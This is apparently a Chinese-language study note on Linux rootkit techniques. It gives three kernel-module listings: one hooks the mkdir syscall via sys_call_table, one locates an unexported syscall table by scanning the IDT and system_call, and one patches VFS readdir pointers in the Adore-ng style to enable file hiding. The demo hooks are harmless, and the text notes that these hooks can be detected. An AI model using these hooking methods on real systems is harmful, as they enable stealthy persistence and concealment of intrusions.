rootkit学习总结

Question

rootkit的主要原理
     rootkit原理

  上面是网上随处可见的rootkit的一篇文章,抱着辩证的态度读之,N年前的东西了,有值得借鉴的也有out的东东了。
由于getdents64()是系统调用，所以要干预它，只能在内核中，通过驱动程序方式，在Linux下就是LKM方式。目前有两种方法来”干预”。

   1.Hook系统调用表（system call table）的getdents64调用项
先看个代码:

2. #include <linux/module.h>
3. #include <linux/kernel.h>
4. #include <asm/unistd.h>
5. #include <sys/syscall.h>
6. #include <linux/types.h>
7. #include <linux/dirent.h>
8. #include <linux/string.h>
9. #include <linux/fs.h>
10. #include <linux/malloc.h>
11. MODULE_LICENSE("GPL");
12. extern void* sys_call_table[]; /*sys_call_table is exported, so we can accessit. But in some system this will cause problem */
13. int (*orig_mkdir)(const char *path); /*the original systemcall*/
14. int hacked_mkdir(const char *path)
15. {
16.         return 0; /*everything is ok, but he new systemcall   does nothing*/
17. }
18. int init_module(void) /*module setup*/
19. {
20.         orig_mkdir=sys_call_table[SYS_mkdir];
21.         sys_call_table[SYS_mkdir]=hacked_mkdir;
22.         return 0;
23. }
24. void cleanup_module(void) /*module shutdown*/
25. {
26.         sys_call_table[SYS_mkdir]=orig_mkdir;
27. /*set mkdir syscall to the origal  one*/
28. }

复制代码

上面的代码看看就行,看看过程!!!我也不知道在那里search到得了,用这种方法实现系统调用有个前提，就是系统必须导出sys_call_table内核符号，但是在2.6中，sys_call_table不再导出。也就是说模块中不能再通过简单的extern void *sys_call_table[];来获得系统调用表地址。所幸的是，即使内核不导出sys_call_table，也可以在内存中找到它的地址，下面是它的实现方法：

2. #include <linux/kernel.h>
3. #include <linux/module.h>
4. #include <linux/init.h>
5. #include <linux/sched.h>
6. #include <asm/unistd.h>
7. MODULE_LICENSE("GPL");
9. unsigned long *sys_call_table=NULL;
10. asmlinkage int (*orig_mkdir)(const char *,int);
11. struct _idt
12. {
13.   unsigned short offset_low,segment_sel;
14.   unsigned char reserved,flags;
15.   unsigned short offset_high;
16. };
17. unsigned long *getscTable(){
18.         unsigned char idtr[6],*shell,*sort;
19.         struct _idt *idt;
20.         unsigned long system_call,sct;
21.         unsigned short offset_low,offset_high;
22.         char *p;
23.         int i;
24.     /* get the interrupt descriptor table */
25.     __asm__("sidt %0" : "=m" (idtr));
26.         /* get the address of system_call */
27.         idt=(struct _idt*)(*(unsigned long*)&idtr[2]+8*0x80);
28.         offset_low = idt->offset_low;
29.         offset_high = idt->offset_high;
30.         system_call=(offset_high<<16)|offset_low;
31.        shell=(char *)system_call;
32.         sort="\xff\x14\x85";
33.    /* get the address of sys_call_table */
34.         for(i=0;i<(100-2);i++)
35.                 if(shell[i]==sort[0]&&shell[i+1]==sort[1]&&shell[i+2]==sort[2])
36.                         break;
37.         p=&shell[i];
38.         p+=3;
39.         sct=*(unsigned long*)p;
40.         return (unsigned long*)(sct);
41. }
42. asmlinkage int hacked_mkdir(const char * pathname, int mode){
43.         printk("PID %d called sys_mkdir !\n",current->pid);
44.         return orig_mkdir(pathname,mode);
45. }
46. static int __init find_init(void){
47.         sys_call_table = getscTable();
48.         orig_mkdir=(int(*)(const char*,int))sys_call_table[__NR_mkdir];
49.         sys_call_table[__NR_mkdir]=(unsigned long)hacked_mkdir;
50.         return 0;
51. }
52. static void __exit find_cleanup(void){
53.         sys_call_table[__NR_mkdir]=(unsigned long)orig_mkdir;
54. }
55. module_init(find_init);
56. module_exit(find_cleanup);

复制代码

getscTable()是在内存中查找sys_call_table地址的函数。每一个系统调用都是通过int 0x80中断进入核心，中断描述符表把中断服务程序和中断向量对应起来。对于系统调用来说，操作系统会调用system_call中断服务程序。 system_call函数在系统调用表中根据系统调用号找到并调用相应的系统调用服务例程。idtr寄存器指向中断描述符表的起始地址，用 __asm__ ("sidt %0" : "=m" (idtr));指令得到中断描述符表起始地址，从这条指令中得到的指针可以获得int 0x80中断服描述符所在位置，然后计算出system_call函数的地址。反编译一下system_call函数可以看到在system_call函数内，是用call sys_call_table指令来调用系统调用函数的。
因此，只要找到system_call里的call sys_call_table(,eax,4)指令的机器指令就可以获得系统调用表的入口地址了。
这种hook系统调用表的方法在Linux rootkit中曾经流行一时，但现在已经成为过去式，因为反黑客软件通过检查系统调用表（与干净的该系统调用表的备份一比较）就能发现有黑客软件驻留。可以通过rkhunter和chkrootkit检查看看!!!

2. Adore-ng rootkit提供了一种新的方法。简单的说，就是通过修改vfs文件系统的函数跳转表来截获系统调用，这种方法不用借助于系统调用表。
通过修改VFS(Virtual File Switch)中的相关函数指针来实现隐藏文件这是比较新，也是让反黑客软件比较头痛的一种方法。所谓VFS是Linux在实际文件系统上抽象出的一个文件系统模型，而各个具体的文件系统,比如象ext3,vfat等，则是VFS这个抽象类的子类,这个我也不是很懂。
Adore-ng rootkit提供了一种新的方法。简单的说，就是通过修改vfs文件系统的函数跳转表来截获系统调用，这种方法不用借助于系统调用表。下篇文章我讲分析下Adore-ng源码.
下面是它的实现方法：

3. #include <linux/sched.h>
4. #include <linux/module.h>
5. #include <linux/kernel.h>
6. #include <linux/init.h>
7. #include <linux/fs.h>
8. #include <linux/file.h>
9. MODULE_LICENSE("GPL");
10. char *root_fs="/";
11. typedef int (*readdir_t)(struct file *,void *,filldir_t);
12. readdir_t orig_root_readdir=NULL;
13. int myreaddir(struct file *fp,void *buf,filldir_t filldir)
14. {
15.         int r;
16.         printk("<1>You got me partner!\n");
17.         r=orig_root_readdir(fp,buf,filldir);
18.         return r;
19. }
20. int patch_vfs(const char *p,readdir_t *orig_readdir,readdir_t new_readdir)
21. {
22.         struct file *filep;
23.         filep=filp_open(p,O_RDONLY,0);
24.         if(IS_ERR(filep))
25.                 return -1;
26.         if(orig_readdir)
27.                 *orig_readdir=filep->f_op->readdir;
28.         filep->f_op->readdir=new_readdir;
29.         filp_close(filep,0);
30.         return 0;
31. }
32. int unpatch_vfs(const char *p,readdir_t orig_readdir)
33. {
34.         struct file *filep;
35.         filep=filp_open(p,O_RDONLY,0);
36.         if(IS_ERR(filep))
37.                 return -1;
38.         filep->f_op->readdir=orig_readdir;
39.         filp_close(filep,0);
40.         return 0;
41. }
42. static int patch_init(void)
43. {
44.         patch_vfs(root_fs,&orig_root_readdir,myreaddir);
45.         printk("<1>VFS is patched!\n");
46.         return 0;
47. }
48. static void patch_cleanup(void)
49. {
50.         unpatch_vfs(root_fs,orig_root_readdir);
51.         printk("<1>VFS is unpatched!\n");
52. }
53. module_init(patch_init);
54. module_exit(patch_cleanup);

复制代码